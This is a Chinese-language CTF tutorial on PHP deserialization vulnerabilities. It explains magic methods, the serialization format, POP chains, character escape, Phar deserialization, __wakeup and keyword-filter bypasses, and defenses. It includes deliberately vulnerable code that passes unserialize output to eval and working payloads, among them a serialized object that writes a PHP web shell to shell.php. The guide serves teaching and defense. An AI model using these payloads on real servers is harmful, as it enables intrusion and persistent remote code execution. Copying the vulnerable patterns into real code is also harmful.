CTF中的反序列化考点总结从0到1
字数 1766 2025-08-18 17:33:11
PHP反序列化漏洞从0到1全面指南
一、PHP类和对象基础
1. 基本概念
- 类:对一类事物的抽象概念(如"汽车")
- 对象:类的具体实例(如"我的宝马")
- 创建类:使用
class关键字
class Car {
// 类内容
}
2. 类成员
- 成员属性:类中定义的变量
- 方法:类中定义的函数
- 成员常量
3. 访问权限
| 权限 | 说明 | 外部访问 | 类内部访问 | 被继承 |
|---|---|---|---|---|
| public | 公有 | √ | √ | √ |
| protected | 受保护 | × | √ | √ |
| private | 私有 | × | √ | × |
二、PHP魔术方法
1. 常用魔术方法
| 方法 | 触发条件 | 参数 | 说明 |
|---|---|---|---|
__construct() |
实例化时 | 任意 | 构造函数 |
__destruct() |
对象销毁时 | 无 | 析构函数 |
__wakeup() |
反序列化前 | 无 | 反序列化预处理 |
__sleep() |
序列化前 | 无 | 返回需序列化的属性数组 |
__toString() |
对象被当作字符串 | 无 | 需有返回值 |
__invoke() |
对象被当作函数 | 无 | 对象函数式调用 |
__get() |
访问不可见属性 | 属性名 | 属性不存在/不可访问 |
__set() |
设置不可见属性 | 属性名,值 | 属性不存在/不可访问 |
__call() |
调用不存在方法 | 方法名,参数数组 | 方法不存在 |
__callStatic() |
调用不存在静态方法 | 方法名,参数数组 | 静态方法不存在 |
三、序列化与反序列化
1. 序列化格式
O:4:"Demo":3:{s:4:"name";s:5:"x1ong";s:3:"age";i:18;s:7:"address";s:2:"HN";}
O:对象4:类名长度"Demo":类名3:属性数量{}:属性键值对
2. 不同访问权限的序列化表现
- public:属性名不变
- protected:属性名前加
\x00*\x00 - private:属性名前加
\x00类名\x00
3. 反序列化漏洞原理
当反序列化字符串可控且未过滤时,可反序列化任意类对象,控制其属性值,进而执行危险操作。
四、漏洞利用技巧
1. 基本利用步骤
- 寻找可控的
unserialize()参数 - 寻找包含
__wakeup或__destruct的目标类 - 分析属性调用链,找到可控属性
- 构造序列化字符串发起攻击
2. 示例漏洞代码
class Execute {
public $cmd;
function displayInfo() {
eval($this->cmd);
}
}
$obj = unserialize($_GET['word']);
$obj->displayInfo();
3. 构造EXP
class Execute {
public $cmd = "system('whoami');";
}
echo serialize(new Execute);
// O:7:"Execute":1:{s:3:"cmd";s:17:"system('whoami');";}
五、高级利用技术
1. POP链构造
通过魔术方法多次跳转调用危险方法:
class A {
function __destruct() {
$this->obj->action();
}
}
class B {
function action() {
system($this->cmd);
}
}
// 构造链:A->B
2. 字符逃逸
通过不等长字符串替换造成序列化数据错乱:
- 长到短:
\0\0\0(6位) →\0*\0(3位) - 短到长:
\0*\0(3位) →\0\0\0(6位)
3. Phar反序列化
利用Phar文件的metadata进行反序列化:
- 构造恶意Phar文件
- 通过文件操作函数触发
- 常用触发函数:
file_get_contents()、unlink()等
4. 指针引用
使两个属性值始终相等:
class Flag {
public $t1;
public $t2;
function __construct() {
$this->t1 = &$this->t2;
}
}
六、绕过技术
1. 关键字过滤绕过
使用S类型和十六进制编码:
// 原始:flag.php
// 编码后:\66\6c\61\67\2e\70\68\70
O:3:"BUU":1:{s:4:"file";S:8:"\66\6c\61\67\2e\70\68\70";}
2. __wakeup绕过
CVE-2016-7124:当属性数目大于实际数目时
// 原始:O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}
// 绕过:O:4:"Demo":2:{s:4:"name";s:5:"x1ong";}
3. 快速析构
通过畸形序列化字符串提前触发__destruct:
// 删除闭合}或修改属性数量
O:4:"Demo":1:{s:4:"name";s:5:"x1ong"
4. PHP7.1+属性不敏感
PHP7.1以上版本对属性权限不敏感,可忽略protected/private前缀
七、防御措施
- 避免反序列化用户可控数据
- 使用
json_encode()/json_decode()替代 - 实施严格的输入验证
- 使用签名验证序列化数据
- 限制反序列化类白名单
八、实战案例
1. 基础反序列化
class vul {
public $cmd = 'ls';
function __wakeup() {
system($this->cmd);
}
}
// EXP: O:3:"vul":1:{s:3:"cmd";s:6:"whoami";}
2. 文件写入
class vul {
public $filename = 'test.txt';
public $content = 'flag';
function __wakeup() {
file_put_contents($this->filename, $this->content);
}
}
// EXP: O:3:"vul":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:28:"<?php eval($_REQUEST[0]);?>";}
3. Phar反序列化
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($object);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
通过本指南,您应该已经掌握了PHP反序列化漏洞从基础到高级的全面知识,包括原理、利用技术和防御措施。在实际应用中,请务必遵守法律法规,仅用于授权测试和安全研究目的。